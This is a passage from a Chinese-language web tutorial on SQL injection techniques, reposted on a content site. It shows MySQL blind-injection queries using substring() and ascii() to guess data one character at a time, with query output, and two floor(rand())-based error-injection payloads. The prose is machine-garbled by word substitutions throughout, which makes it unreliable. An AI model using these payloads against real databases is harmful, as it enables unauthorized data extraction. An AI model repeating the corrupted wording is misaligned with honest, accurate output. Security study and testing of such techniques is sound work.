0x05 substring()和ascii()的结合应用
用于猜解数据库名、表名、字段名和萌芽结不雅等
具体应用:
- mysql> select ascii((select substring((select bin_column from learning_test where num=2),1,1)))>10;
- +--------------------------------------------------------------------------------------+
- | ascii((select substring((select bin_column from learning_test where num=2),1,1)))>10 |
- +--------------------------------------------------------------------------------------+
- | 1 |
- +--------------------------------------------------------------------------------------+
- 1 row in set (0.02 sec)
看到返回了1,也就是说select bin_column from learning_test where num=2这个萌芽语句返回的结不雅集的第一个字符的ascii码确切是大年夜于10的。当然这个过程是繁琐的,可以应用脚本进行主动化猜解,或应用sqlmap中集成的类似的主动化注入功能。
0x06 应用floor()报错注入
- ...and (select count(*),concat(version(),floor(rand(0)*8))x from information_schema.tables group by x)a;
或
- ...and (select count(*) from (select 1 union select null union select !1)x group by concat(version(),floor(rand(0)*2)))
【编辑推荐】
- 大年夜零开端搭建MongoDB数据库即办事
- 浅析开源数据库MySQL架构
- 一图秒懂中国数据库的40年江湖
- MySQL组复制技巧实现与数据库机能测试对象
- 关于数据库“状况”字段设计的思虑与实践
推荐阅读
【沙龙】51CTO诚邀您9月23号和多位技巧大年夜咖一路聊智能CDN的优化之路,抓紧时光哦! 一、弱电智能化的内涵在>>>详细阅读
本文标题:关于SQL注入的一些技巧分享
地址:http://www.17bianji.com/lsqh/37551.html
1/2 1

网友点评
精彩导读
科技快报
品牌展示